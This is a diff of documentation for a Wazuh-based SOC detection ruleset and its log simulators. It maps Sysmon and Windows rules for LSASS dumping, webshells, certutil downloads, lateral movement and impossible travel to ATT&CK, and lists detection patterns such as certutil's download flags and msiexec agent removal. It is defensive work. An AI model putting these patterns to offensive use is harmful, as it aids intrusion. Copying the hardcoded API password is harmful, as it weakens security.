+File: `rules/soc-b3-sysmon-rules.xml` | Decoders: `soc-mvp-sysmon`, `soc-mvp-sysmon-exec` | Source: `source=windows_sysmon`
400
+
401
+**ATT&CK context:** Sysmon provides deep process and file-level telemetry that Windows Security logs lack. B3 detects post-exploitation activity: credential dumping, web application compromise, and security tool removal — all high-confidence, late-stage attack indicators.
402
+
403
+### Simulation Rules
404
+
405
+| Rule ID | Level | Use Case                                                | MITRE ID  | Technique                                | Tactic              |
406
+| ------- | ----- | ------------------------------------------------------- | --------- | ---------------------------------------- | ------------------- |
407
+| 100421  | 12    | B3-01: LSASS memory dump via procdump (Sysmon event 10) | T1003.001 | OS Credential Dumping: LSASS Memory      | Credential Access   |
408
+| 100422  | 12    | B3-02: SQL injection attempt via web process (event 1)  | T1190     | Exploit Public-Facing Application        | Initial Access      |
409
+| 100423  | 12    | B3-03: Webshell file creation in web root (event 11)    | T1505.003 | Server Software Component: Web Shell     | Persistence         |
410
+| 100424  | 12    | B3-04: Security agent uninstalled via msiexec           | T1562.001 | Impair Defenses: Disable or Modify Tools | Defense Evasion     |
411
+| 100425  | 12    | B3-05: LSASS dump via Task Manager (event 10)           | T1003.001 | OS Credential Dumping: LSASS Memory      | Credential Access   |
412
+| 100426  | 8     | B3-06: Certutil used to download remote payload         | T1105     | Ingress Tool Transfer                    | Command and Control |
413
+
414
+### Production Rules
415
+
416
+| Rule ID | Level | Sysmon Event             | Match Condition                              | Description                              | MITRE ID  | Technique                                |
417
+| ------- | ----- | ------------------------ | -------------------------------------------- | ---------------------------------------- | --------- | ---------------------------------------- |
418
+| 110421  | 12    | Event 10 (ProcessAccess) | `target_process=lsass.exe`                   | LSASS process access                     | T1003.001 | OS Credential Dumping: LSASS Memory      |
419
+| 110422  | 12    | Event 1 (ProcessCreate)  | `event_type=sysmon_sql_injection`            | SQL injection pattern in web process     | T1190     | Exploit Public-Facing Application        |
420
+| 110423  | 12    | Event 11 (FileCreate)    | `event_type=sysmon_webshell`                 | File creation in web root by web process | T1505.003 | Server Software Component: Web Shell     |
421
+| 110424  | 12    | Event 1 (ProcessCreate)  | `event_type=sysmon_security_agent_uninstall` | Security agent removal via msiexec       | T1562.001 | Impair Defenses: Disable or Modify Tools |
422
+| 110425  | 12    | Event 10 (ProcessAccess) | `event_type=sysmon_lsass_dump_taskmgr`       | LSASS dump via Task Manager              | T1003.001 | OS Credential Dumping: LSASS Memory      |
423
+| 110426  | 8     | Event 1 (ProcessCreate)  | `process=certutil.exe` + `cmdline=`          | certutil.exe download pattern            | T1105     | Ingress Tool Transfer                    |
424
+
425
+**T1003.001 — OS Credential Dumping: LSASS Memory**
426
+The Windows LSASS (Local Security Authority Subsystem Service) process stores password hashes and Kerberos tickets in memory. Tools like Mimikatz, procdump, and Task Manager's "Create dump file" feature can extract these credentials for offline cracking or direct pass-the-hash use. Sysmon Event ID 10 (ProcessAccess with lsass.exe as the target) is the most reliable detection point.
427
+
428
+**T1505.003 — Server Software Component: Web Shell**
429
+After exploiting a web application, attackers drop a small script (PHP, ASPX, JSP) into the web root that accepts commands via HTTP requests. Sysmon Event ID 11 (FileCreate) in web-accessible directories by the web server process is a high-fidelity indicator.
430
+
431
+**T1562.001 — Impair Defenses: Disable or Modify Tools**
432
+Attackers remove or disable endpoint security agents (AV, EDR) to eliminate the primary detection mechanism before executing their final objective. `msiexec /x` targeting known security agent GUIDs is a common pattern.
433
+
434
+**T1105 — Ingress Tool Transfer**
435
+`certutil.exe` is a legitimate Windows binary for certificate management but is widely abused (`LOLBin`) to download files from the internet using its `-urlcache -split -f` options. This is a classic living-off-the-land technique because many environments allow it past security controls.
436
+
437
+---
438
+
439
+## C1 — Impossible Travel Detection
440
+
441
+File: `rules/soc-c1-c3-rules.xml` | Decoder: `soc-mvp-vpn` (prod) / `soc-mvp-windows` (sim) | Source: `source=vpn` / `source=windows`
442
+
443
+**ATT&CK context:** Impossible travel targets **Valid Accounts (T1078)** — specifically the scenario where stolen credentials are used by an attacker in one geography while the legitimate user is in another. A login from Thailand followed by a login from Russia 10 minutes later is physically impossible; one of them is a threat actor.
444
+
445
+> Full impossible-travel correlation requires the `soc-integrator` detection service. Wazuh rules flag per-event geo-anomaly candidates; upstream correlation confirms the travel impossibility.
446
+
447
+### Simulation Rules
448
+
449
+| Rule ID | Level | Use Case                                                                  | MITRE ID | Technique      | Tactic                           |
450
+| ------- | ----- | ------------------------------------------------------------------------- | -------- | -------------- | -------------------------------- |
451
+| 100501  | 12    | C1-01: Impossible travel — VPN login from geographically distant location | T1078    | Valid Accounts | Initial Access / Defense Evasion |
452
+
453
+### Production Rules
454
+
455
+| Rule ID | Level | Match Condition                   | Description                                               | MITRE ID | Technique      |
456
+| ------- | ----- | --------------------------------- | --------------------------------------------------------- | -------- | -------------- |
457
+| 110501  | 12    | `event_type=vpn_login_success`    | VPN login with geo context — impossible travel candidate  | T1078    | Valid Accounts |
458
+| 110502  | 15    | `event_type=c1_impossible_travel` | Impossible travel confirmed by soc-integrator correlation | T1078    | Valid Accounts |
459
+
460
+**T1078 — Valid Accounts (Impossible Travel)**
461
+This is the highest-confidence valid-account detection because it does not rely on password patterns or known bad IPs — it relies on physical impossibility. Rule 110502 (level 15, the highest in this ruleset) fires only after the soc-integrator has correlated two logins and confirmed they cannot represent the same person travelling normally.
462
+
463
+---
464
+
465
+## C2 — Advanced Credential Abuse & Privilege Misuse
466
+
467
+File: `rules/soc-c1-c3-rules.xml` | Decoder: `soc-mvp-windows` | Source: `source=windows`
468
+
469
+**ATT&CK context:** C2 detects insider threat and post-compromise privilege abuse patterns that are individually legitimate but anomalous in context — an admin logging in at 3am, a service account used interactively, a dormant account suddenly active. These require behavioural baselining to distinguish real attacks from noise.
470
+
471
+### Simulation Rules
472
+
473
+| Rule ID | Level | Use Case                                                                | MITRE ID  | Technique                       | Tactic               |
474
+| ------- | ----- | ----------------------------------------------------------------------- | --------- | ------------------------------- | -------------------- |
475
+| 100511  | 12    | C2-01: Privileged account used outside business hours                   | T1078.002 | Valid Accounts: Domain Accounts | Privilege Escalation |
476
+| 100512  | 8     | C2-02: Dormant account activation detected                              | T1078     | Valid Accounts                  | Defense Evasion      |
477
+| 100513  | 12    | C2-03: Service account interactive logon                                | T1078.003 | Valid Accounts: Local Accounts  | Privilege Escalation |
478
+| 100514  | 12    | C2-04: Rapid privilege escalation followed by sensitive resource access | T1098     | Account Manipulation            | Persistence          |
479
+
480
+### Production Rules
481
+
482
+| Rule ID | Level | Event ID | Match Condition                                     | Description                                       | MITRE ID  | Technique                       |
483
+| ------- | ----- | -------- | --------------------------------------------------- | ------------------------------------------------- | --------- | ------------------------------- |
484
+| 110511  | 12    | 4624     | `is_admin=true` + `event_type=windows_auth_success` | Privileged account auth success — off-hours       | T1078.002 | Valid Accounts: Domain Accounts |
485
+| 110512  | 8     | 4624     | `event_type=windows_auth_success` + `legacy.`       | Dormant/legacy account auth success               | T1078     | Valid Accounts                  |
486
+| 110513  | 12    | 4624     | `is_service=true` + `logon_type=10`                 | Service account interactive logon (type 10)       | T1078.003 | Valid Accounts: Local Accounts  |
487
+| 110514  | 12    | 4732     | `is_admin=true`                                     | Rapid privilege escalation: group change by admin | T1098     | Account Manipulation            |
488
+
489
+**T1078.002 — Valid Accounts: Domain Accounts (Off-Hours)**
490
+Domain admin activity outside normal business hours (e.g. 2–5am local time) is a known attacker signature — legitimate admins rarely work at those hours but attackers work when defenders are asleep. Requires time-of-day context from the soc-integrator for production correlation.
491
+
492
+**T1078.003 — Valid Accounts: Local Accounts (Service Account Interactive Logon)**
493
+Service accounts are designed for automated processes, not interactive sessions. A service account logging in interactively (logon type 10 = Remote Interactive, or type 2 = Local Interactive) indicates either credential theft or an insider using a service account to evade personal activity tracking.
494
+
495
+---
496
+
497
+## C3 — Lateral Movement & Internal Reconnaissance
498
+
499
+File: `rules/soc-c1-c3-rules.xml` | Decoders: `soc-mvp-windows`, `soc-mvp-windows-lateral` | Source: `source=windows`
500
+
501
+**ATT&CK context:** After establishing initial access, attackers move laterally to reach high-value targets (domain controllers, file servers, backup systems). C3 detects the burst patterns that characterise automated lateral movement tools (Cobalt Strike, Impacket, BloodHound) — many hosts contacted in a short time window.
502
+
503
+### Simulation Rules
504
+
505
+| Rule ID | Level | Use Case                                              | MITRE ID  | Technique                                 | Tactic                     |
506
+| ------- | ----- | ----------------------------------------------------- | --------- | ----------------------------------------- | -------------------------- |
507
+| 100521  | 12    | C3-01: Multiple auth successes across different hosts | T1021     | Remote Services                           | Lateral Movement           |
508
+| 100522  | 12    | C3-02: SMB/RDP lateral movement burst pattern         | T1021.002 | Remote Services: SMB/Windows Admin Shares | Lateral Movement           |
509
+| 100523  | 15    | C3-03: Admin account accessing many servers rapidly   | T1021.001 | Remote Services: RDP                      | Lateral Movement           |
510
+| 100524  | 8     | C3-04: Internal scanning / enumeration burst pattern  | T1046     | Network Service Discovery                 | Discovery / Reconnaissance |
511
+
512
+### Production Rules
513
+
514
+| Rule ID | Level | Event ID | Match Condition                                       | Description                                   | MITRE ID  | Technique                 |
515
+| ------- | ----- | -------- | ----------------------------------------------------- | --------------------------------------------- | --------- | ------------------------- |
516
+| 110521  | 12    | 4624     | `dstport=3389` + `event_type=windows_auth_success`    | RDP auth success to remote host               | T1021.001 | Remote Services: RDP      |
517
+| 110522  | 12    | 4624     | `dstport=445` + `event_type=windows_lateral_movement` | SMB lateral movement burst                    | T1021.002 | SMB/Windows Admin Shares  |
518
+| 110523  | 15    | 4624     | `is_admin=true` + `event_type=windows_auth_success`   | Admin RDP success to multiple servers rapidly | T1021.001 | Remote Services: RDP      |
519
+| 110524  | 8     | —        | `event_type=internal_scan`                            | Internal scanning/enumeration burst           | T1046     | Network Service Discovery |
520
+
521
+**T1021 — Remote Services (Lateral Movement)**
522
+An account successfully authenticating to many distinct internal hosts in a short time window (minutes, not hours) is a reliable lateral movement signal. Legitimate admin activity is targeted and intentional; lateral movement tools spray credentials across IP ranges.
523
+
524
+**T1046 — Network Service Discovery (Internal Scanning)**
525
+After initial compromise, attackers scan internal subnets to map the network — identifying domain controllers, databases, backup servers, and other high-value targets. Internal port scanning is anomalous in most environments and should be treated as a high-priority finding.
526
+
527
+---
528
+
529
+## Rule ID Summary
530
+
531
+| Range                                  | Section              | Count   |
532
+| -------------------------------------- | -------------------- | ------- |
533
+| 100200, 100205, 100210, 100220, 100230 | Base / grouping      | 5       |
534
+| 100301–100302 / 110301–110302          | A1 DNS IOC           | 4       |
535
+| 100311–100320 / 110311–110320          | A2 FortiGate FW      | 20      |
536
+| 100331–100335 / 110331–110335          | A3 FortiGate VPN     | 10      |
537
+| 100341–100364 / 110341–110362          | A4 Windows/AD        | 37      |
538
+| 100401–100403 / 110401–110403          | B1 VMware            | 6       |
539
+| 100411 / 110411                        | B2 Log Monitor       | 2       |
540
+| 100421–100426 / 110421–110426          | B3 Sysmon            | 12      |
541
+| 100501 / 110501–110502                 | C1 Impossible Travel | 3       |
542
+| 100511–100514 / 110511–110514          | C2 Credential Abuse  | 8       |
543
+| 100521–100524 / 110521–110524          | C3 Lateral Movement  | 8       |
544
+| **Total**                              |                      | **115** |
545
+
546
+---
547
+
548
+## Running the Simulator
549
+
550
+```bash
551
+cd scripts
552
+
553
+# Single batch (all use cases)
554
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
555
+  python3 send-wazuh-api-sim.py --selector all --batch
556
+
557
+# Continuous (all use cases, 65s between rounds to stay under rate limit)
558
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
559
+  python3 send-wazuh-api-sim.py --selector all --batch --forever --delay 65
560
+
561
+# Single section
562
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
563
+  python3 send-wazuh-api-sim.py --selector a2 --batch
564
+
565
+# Single use case
566
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
567
+  python3 send-wazuh-api-sim.py --selector A2-01 --count 1
568
+```
569
+
570
+## Wazuh Operations
571
+
572
+```bash
573
+# Reload rules (no container restart needed)
574
+docker exec wazuh-single-wazuh.manager-1 /var/ossec/bin/wazuh-control reload
575
+
576
+# Test a single event
577
+echo 'soc_mvp_test=true source=dns event_type=ioc_dns_traffic src_ip=1.2.3.4' | \
578
+  docker exec -i wazuh-single-wazuh.manager-1 /var/ossec/bin/wazuh-logtest
579
+
580
+# Watch live alerts for SOC rules
581
+docker exec wazuh-single-wazuh.manager-1 \
582
+  tail -f /var/ossec/logs/alerts/alerts.json | grep --line-buffered "soc_mvp"
583
+```

+ 15 - 0
samples/README.md

@@ -0,0 +1,15 @@
1
+# SOC Production Sample Logs
2
+
3
+These files provide realistic sample events aligned with current production-focused Wazuh rules (`110xxx`):
4
+
5
+- `appendix-a-production-samples.log`
6
+- `appendix-b-production-samples.log`
7
+- `appendix-c-production-samples.log`
8
+
9
+Notes:
10
+
11
+- FortiGate and VMware lines are raw/syslog-style key-value examples.
12
+- Windows samples are in compact JSON using Wazuh-decoded field names (`win.system.eventID`, `win.eventdata.*`) so rule intent is explicit.
13
+- SOC Integrator correlation examples use `soc_event=...` payloads consumed by custom decoders (`soc-prod-dns`, `soc-prod-integrator`).
14
+
15
+These are reference samples for testing and documentation, not exact byte-for-byte exports from a single environment.

+ 32 - 423
scripts/README.md

@@ -1,458 +1,67 @@
1
-# Test Event Scripts
1
+# Scripts
2 2
 
3
-## SOC Integrator UI (`Run Sim Logs`) target mapping
3
+## Combined Wazuh simulator
4 4
 
5
-`/ui -> Systems -> Run Sim Logs` now supports **multi-select Target** values based on selected `Script`.
6
-The UI starts one simulator run per selected target (except `all`, which runs a single `all` run).
7
-
8
-- `fortigate`: `all`, `501E`, `80F`, `60F`, `40F`
9
-- `endpoint`: `all`, `windows`, `mac`, `linux`
10
-- `cisco`: `all`, `asa_acl_deny`, `asa_vpn_auth_fail`, `ios_login_fail`, `ios_config_change`
11
-- `proposal_required`: `all`, `a1`, `a2`, `a3`, `a4`
12
-- `proposal_appendix_b`: `all`, `b1`, `b2`, `b3`
13
-- `proposal_appendix_c`: `all`, `c1`, `c2`, `c3`
14
-- `wazuh_test`: `all`, `ioc_dns`, `ioc_ips`, `vpn_outside_th`, `windows_auth_fail`
15
-
16
-## Send Wazuh test events
17
-
18
-Use this to inject synthetic SOC events via syslog UDP into Wazuh manager.
5
+Use one script for all Appendix A/B/C simulation log replay.
19 6
 
20 7
 ```bash
21
-scripts/send-wazuh-test-events.sh [scenario] [count] [delay_seconds]
8
+scripts/send-wazuh-sim-logs.sh [selector] [count] [delay_seconds] [--forever] [--dry-run]
22 9
 ```
23 10
 
24
-Optional flag:
25
-
26
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
27
-
28
-Scenarios:
29
-
30
-- `ioc_dns`
31
-- `ioc_ips`
32
-- `vpn_outside_th`
33
-- `windows_auth_fail`
34
-- `all`
35
-
36 11
 Examples:
37 12
 
38 13
 ```bash
39
-scripts/send-wazuh-test-events.sh all
40
-scripts/send-wazuh-test-events.sh vpn_outside_th 5 0.2
41
-WAZUH_SYSLOG_HOST=127.0.0.1 WAZUH_SYSLOG_PORT=514 scripts/send-wazuh-test-events.sh ioc_ips
42
-scripts/send-wazuh-test-events.sh all 1 2 --forever
14
+scripts/send-wazuh-sim-logs.sh all 1 0.2
15
+scripts/send-wazuh-sim-logs.sh a2 1 0
16
+scripts/send-wazuh-sim-logs.sh B3-06 1 0
17
+scripts/send-wazuh-sim-logs.sh c1 1 2 --forever
18
+scripts/send-wazuh-sim-logs.sh all 1 0 --dry-run
43 19
 ```
44 20
 
45
-Environment overrides:
21
+Environment variables:
46 22
 
47 23
 - `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
48 24
 - `WAZUH_SYSLOG_PORT` (default `514`)
49
-- `WAZUH_TEST_SRC_IP`
50
-- `WAZUH_TEST_DOMAIN`
51
-- `WAZUH_TEST_USER`
52
-
53
-Transport notes:
54
-
55
-- Uses `nc` if available.
56
-- Falls back to Bash UDP redirection (`/dev/udp/host/port`) when `nc` is unavailable.
57
-
58
-## Send Cisco device test events
59
-
60
-Use this to inject Cisco-style syslog events (ASA/IOS) into Wazuh manager.
25
+- `DRY_RUN=1` (alternative to `--dry-run`)
61 26
 
62
-```bash
63
-scripts/send-wazuh-cisco-test-events.sh [scenario] [count] [delay_seconds]
64
-```
65
-
66
-Optional flag:
27
+Selector support:
67 28
 
68
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
29
+- Global: `all`
30
+- Appendix: `a`, `b`, `c`, `appendix-a`, `appendix-b`, `appendix-c`
31
+- Section: `a1`, `a2`, `a3`, `a4`, `b1`, `b2`, `b3`, `c1`, `c2`, `c3`
32
+- Use-case ID: `A1-01` ... `C3-04`
69 33
 
70
-Scenarios:
71
-
72
-- `asa_acl_deny`
73
-- `asa_vpn_auth_fail`
74
-- `ios_login_fail`
75
-- `ios_config_change`
76
-- `all`
77
-
78
-Examples:
34
+Sample sources:
79 35
 
80
-```bash
81
-scripts/send-wazuh-cisco-test-events.sh all
82
-scripts/send-wazuh-cisco-test-events.sh asa_acl_deny 5 0.2
83
-CISCO_DEVICE_HOST=edge-fw-01 scripts/send-wazuh-cisco-test-events.sh ios_login_fail
84
-scripts/send-wazuh-cisco-test-events.sh all 1 2 --forever
85
-```
86
-
87
-Environment overrides:
88
-
89
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
90
-- `WAZUH_SYSLOG_PORT` (default `514`)
91
-- `CISCO_DEVICE_HOST`
92
-- `CISCO_SRC_IP`
93
-- `CISCO_DST_IP`
94
-- `CISCO_VPN_USER`
95
-- `CISCO_ADMIN_USER`
36
+- `samples/appendix-a-production-samples.log`
37
+- `samples/appendix-b-production-samples.log`
38
+- `samples/appendix-c-production-samples.log`
96 39
 
97
-## Send FortiGate firewall test events
40
+## Dashboard import
98 41
 
99
-Use this to inject FortiGate-style syslog events (models `501E`, `80F`, `60F`, `40F`) into Wazuh manager.
42
+Import Wazuh dashboards (NDJSON):
100 43
 
101 44
 ```bash
102
-scripts/send-wazuh-fortigate-test-events.sh [model] [count] [delay_seconds]
45
+scripts/import-wazuh-dashboard.sh <path-to-ndjson>
103 46
 ```
104 47
 
105
-Optional flag:
106
-
107
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
108
-
109
-Models:
110
-
111
-- `501E`
112
-- `80F`
113
-- `60F`
114
-- `40F`
115
-- `all`
116
-
117 48
 Examples:
118 49
 
119 50
 ```bash
120
-scripts/send-wazuh-fortigate-test-events.sh all
121
-scripts/send-wazuh-fortigate-test-events.sh 80F 5 0.2
122
-WAZUH_SYSLOG_HOST=127.0.0.1 WAZUH_SYSLOG_PORT=514 scripts/send-wazuh-fortigate-test-events.sh 60F
123
-scripts/send-wazuh-fortigate-test-events.sh all 1 2 --forever
124
-```
125
-
126
-Environment overrides:
127
-
128
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
129
-- `WAZUH_SYSLOG_PORT` (default `514`)
130
-- `FGT_SRC_IP`
131
-- `FGT_DST_IP`
132
-- `FGT_DOMAIN`
133
-- `FGT_USER`
134
-
135
-## Run continuous FortiGate simulation
136
-
137
-Use this to generate ongoing FortiGate-like traffic and security events for Wazuh testing.
138
-
139
-```bash
140
-scripts/send-wazuh-fortigate-continuous.sh [profile] [models] [base_delay_seconds]
141
-```
142
-
143
-Profiles:
144
-
145
-- `normal` (mostly allowed traffic, occasional admin/vpn/webfilter)
146
-- `incident` (higher IPS/webfilter/vpn anomalies)
147
-- `mixed` (balanced baseline + anomalies)
148
-
149
-Models:
150
-
151
-- `501E`
152
-- `80F`
153
-- `60F`
154
-- `40F`
155
-- `all`
156
-
157
-Examples:
158
-
159
-```bash
160
-scripts/send-wazuh-fortigate-continuous.sh mixed all 0.8
161
-scripts/send-wazuh-fortigate-continuous.sh incident 80F 0.3
162
-SIM_MAX_EVENTS=200 scripts/send-wazuh-fortigate-continuous.sh normal 501E 1.0
163
-```
164
-
165
-Environment overrides:
166
-
167
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
168
-- `WAZUH_SYSLOG_PORT` (default `514`)
169
-- `SIM_MAX_EVENTS` (default `0`, which means run forever)
170
-- `SIM_SRC_PREFIX` (default `10.10.20`)
171
-- `SIM_VPN_USER`
172
-- `SIM_ADMIN_USER`
173
-
174
-## Simulate all required logs from proposal
175
-
176
-Use this to generate synthetic logs for all use cases listed in:
177
-`Security Detection & Threat Intelligence Enhancement Proposal-2.md` Appendix A (A1-A4).
178
-
179
-```bash
180
-scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds]
181
-```
182
-
183
-Optional flag:
184
-
185
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
186
-
187
-Selectors:
188
-
189
-- `all` (all Appendix A use cases)
190
-- `a1`, `a2`, `a3`, `a4` (by section)
191
-- specific use case id, e.g. `A2-01`, `A3-05`, `A4-24`
192
-
193
-Examples:
194
-
195
-```bash
196
-scripts/send-wazuh-proposal-required-events.sh all 1
197
-scripts/send-wazuh-proposal-required-events.sh a3 3 0.5
198
-scripts/send-wazuh-proposal-required-events.sh A3-05 1
199
-DRY_RUN=1 scripts/send-wazuh-proposal-required-events.sh all 1
200
-scripts/send-wazuh-proposal-required-events.sh a2 1 2 --forever
201
-```
202
-
203
-Environment overrides:
204
-
205
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
206
-- `WAZUH_SYSLOG_PORT` (default `514`)
207
-- `EVENT_DELAY` (default `0.05`)
208
-- `DRY_RUN` (default `0`, set `1` to print only)
209
-- `FGT_DEVNAME`, `FGT_DEVID`
210
-- `WIN_HOST`, `DNS_HOST`
211
-- `SIM_VPN_USER`
212
-
213
-## Simulate Appendix B logs (revise proposal)
214
-
215
-Use this to generate synthetic logs for Appendix B (B1-B3) in:
216
-`Security Detection & Threat Intelligence Enhancement Proposal-revise.md`.
217
-
218
-```bash
219
-scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
220
-```
221
-
222
-Optional flag:
223
-
224
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
225
-
226
-Selectors:
227
-
228
-- `all` (all Appendix B use cases)
229
-- `b1`, `b2`, `b3` (by section)
230
-- specific use case id, e.g. `B1-01`, `B2-01`, `B3-06`
231
-
232
-Examples:
233
-
234
-```bash
235
-scripts/send-wazuh-proposal-appendix-b-events.sh all 1
236
-scripts/send-wazuh-proposal-appendix-b-events.sh b3 2 0.5
237
-scripts/send-wazuh-proposal-appendix-b-events.sh B3-06 1
238
-DRY_RUN=1 scripts/send-wazuh-proposal-appendix-b-events.sh all 1
239
-scripts/send-wazuh-proposal-appendix-b-events.sh b1 1 2 --forever
240
-```
241
-
242
-Environment overrides:
243
-
244
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
245
-- `WAZUH_SYSLOG_PORT` (default `514`)
246
-- `EVENT_DELAY` (default `0.05`)
247
-- `DRY_RUN` (default `0`, set `1` to print only)
248
-- `VCENTER_HOST`, `ESXI_HOST`, `LOGMON_HOST`, `WIN_SYSMON_HOST`
249
-- `SIM_USER`
250
-
251
-## Simulate Appendix C logs (future enhancement MVP)
252
-
253
-Use this to generate synthetic logs for Appendix C (C1-C3) in:
254
-`Security Detection & Threat Intelligence Enhancement Proposal-revise.md`.
255
-
256
-```bash
257
-scripts/send-wazuh-proposal-appendix-c-events.sh [selector] [count] [delay_seconds]
258
-```
259
-
260
-Optional flag:
261
-
262
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
263
-
264
-Selectors:
265
-
266
-- `all` (all Appendix C use cases)
267
-- `c1`, `c2`, `c3` (by section)
268
-- specific use case id, e.g. `C1-01`, `C2-03`, `C3-04`
269
-
270
-Examples:
271
-
272
-```bash
273
-scripts/send-wazuh-proposal-appendix-c-events.sh all 1
274
-scripts/send-wazuh-proposal-appendix-c-events.sh c1 1 0.5
275
-scripts/send-wazuh-proposal-appendix-c-events.sh C3-04 1
276
-DRY_RUN=1 scripts/send-wazuh-proposal-appendix-c-events.sh all 1
277
-scripts/send-wazuh-proposal-appendix-c-events.sh c2 1 2 --forever
278
-```
279
-
280
-Environment overrides:
281
-
282
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
283
-- `WAZUH_SYSLOG_PORT` (default `514`)
284
-- `EVENT_DELAY` (default `0.05`)
285
-- `DRY_RUN` (default `0`, set `1` to print only)
286
-- `VPN_HOST`, `WIN_HOST`
287
-- `SIM_USER`, `SIM_SERVICE_USER`, `SIM_SRC_IP`
288
-
289
-## Simulate endpoint client-agent logs (Windows / macOS / Linux)
290
-
291
-Use this to inject realistic endpoint telemetry for client agents into Wazuh.
292
-
293
-```bash
294
-scripts/send-wazuh-endpoint-agent-test-events.sh [platform] [scenario] [count] [delay_seconds]
295
-```
296
-
297
-Optional flag:
298
-
299
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
300
-
301
-Platforms:
302
-
303
-- `windows`
304
-- `mac`
305
-- `linux`
306
-- `all`
307
-
308
-Scenarios:
309
-
310
-- `auth`
311
-- `process`
312
-- `persistence`
313
-- `privilege`
314
-- `malware`
315
-- `all`
316
-
317
-Examples:
318
-
319
-```bash
320
-scripts/send-wazuh-endpoint-agent-test-events.sh all all 1 0.2
321
-scripts/send-wazuh-endpoint-agent-test-events.sh windows process 10 0.1
322
-DRY_RUN=1 scripts/send-wazuh-endpoint-agent-test-events.sh linux all 1 0
323
-scripts/send-wazuh-endpoint-agent-test-events.sh all auth 1 2 --forever
324
-```
325
-
326
-Environment overrides:
327
-
328
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
329
-- `WAZUH_SYSLOG_PORT` (default `514`)
330
-- `DRY_RUN` (default `0`)
331
-- `WIN_HOST`, `MAC_HOST`, `LINUX_HOST`
332
-- `SIM_USER`
333
-
334
-## Shuffle sample workflow helpers
335
-
336
-Sample playbook design for Shuffle:
337
-
338
-- `shuffle-workflows/sample-ioc-playbook.md`
339
-
340
-Sample execution payload:
341
-
342
-- `scripts/events/shuffle-sample-execution.json`
343
-
344
-Trigger an existing Shuffle workflow from CLI:
345
-
346
-```bash
347
-scripts/trigger-shuffle-workflow.sh <workflow_id> [ioc_type] [ioc_value]
348
-```
349
-
350
-Create MVP workflows in Shuffle (from proposal mapping):
351
-
352
-```bash
353
-SHUFFLE_API_KEY=<your_key> scripts/create-shuffle-mvp-workflows.sh
354
-```
355
-
356
-This creates:
357
-
358
-- `MVP - IOC Enrichment and Case Routing`
359
-- `MVP - VPN Geo Anomaly Triage`
360
-
361
-## Import Wazuh Dashboard (FortiGate Simulation)
362
-
363
-Prebuilt saved objects file:
364
-
365
-- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
366
-
367
-Import helper:
368
-
369
-```bash
370
-scripts/import-wazuh-dashboard.sh
371
-```
372
-
373
-Optional overrides:
374
-
375
-```bash
376
-WAZUH_DASHBOARD_URL=https://localhost \
377
-WAZUH_DASHBOARD_USER=admin \
378
-WAZUH_DASHBOARD_PASS=SecretPassword \
379
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-fortigate-sim-dashboard.ndjson
380
-```
381
-
382
-After import, open dashboard:
383
-
384
-- `SOC FortiGate Simulation Overview`
385
-
386
-## Wazuh dashboard files (detailed)
387
-
388
-Dashboard saved objects are stored in `scripts/events/*.ndjson`.
389
-
390
-- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
391
-  
392
-  - Title: `SOC FortiGate Simulation Overview`
393
-  - Purpose: FortiGate simulation visibility (events over time, top devices, top event types, severity).
394
-  - Typical data source: `scripts/send-wazuh-fortigate-test-events.sh`
395
-
396
-- `scripts/events/wazuh-client-agents-dashboard.ndjson`
397
-  
398
-  - Title: `SOC Client Agent Simulation Overview`
399
-  - Purpose: Endpoint simulation visibility for Windows/macOS/Linux agent logs.
400
-  - Typical data source: `scripts/send-wazuh-endpoint-agent-test-events.sh`
401
-
402
-- `scripts/events/wazuh-proposal-required-dashboard.ndjson`
403
-  
404
-  - Title: `SOC Proposal Required Logs Overview`
405
-  - Purpose: Appendix A required-scope logs (A1-A4).
406
-  - Typical data source: `scripts/send-wazuh-proposal-required-events.sh`
407
-
408
-- `scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson`
409
-  
410
-  - Title: `SOC Proposal Appendix A+B Overview`
411
-  - Purpose: Combined Appendix A and B overview, including use-case table.
412
-  - Typical data sources:
413
-    - `scripts/send-wazuh-proposal-required-events.sh`
414
-    - `scripts/send-wazuh-proposal-appendix-b-events.sh`
415
-
416
-- `scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson`
417
-  
418
-  - Title: `SOC Proposal Appendix C Overview`
419
-  - Purpose: Appendix C MVP scope visibility (currently C1-C3 coverage).
420
-  - Typical data source: `scripts/send-wazuh-proposal-appendix-c-events.sh`
421
-
422
-- `scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson`
423
-  
424
-  - Title: `SOC Proposal Custom Rules Overview`
425
-  - Purpose: Monitor custom proposal rules (e.g., 1003xx/1004xx families), severity, and top descriptions.
426
-  - Typical data source: Any simulation script that triggers proposal custom rules.
427
-
428
-### Import any dashboard file
429
-
430
-```bash
431
-scripts/import-wazuh-dashboard.sh scripts/events/<dashboard-file>.ndjson
432
-```
433
-
434
-Examples:
435
-
436
-```bash
437
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
438 51
 scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
439 52
 scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson
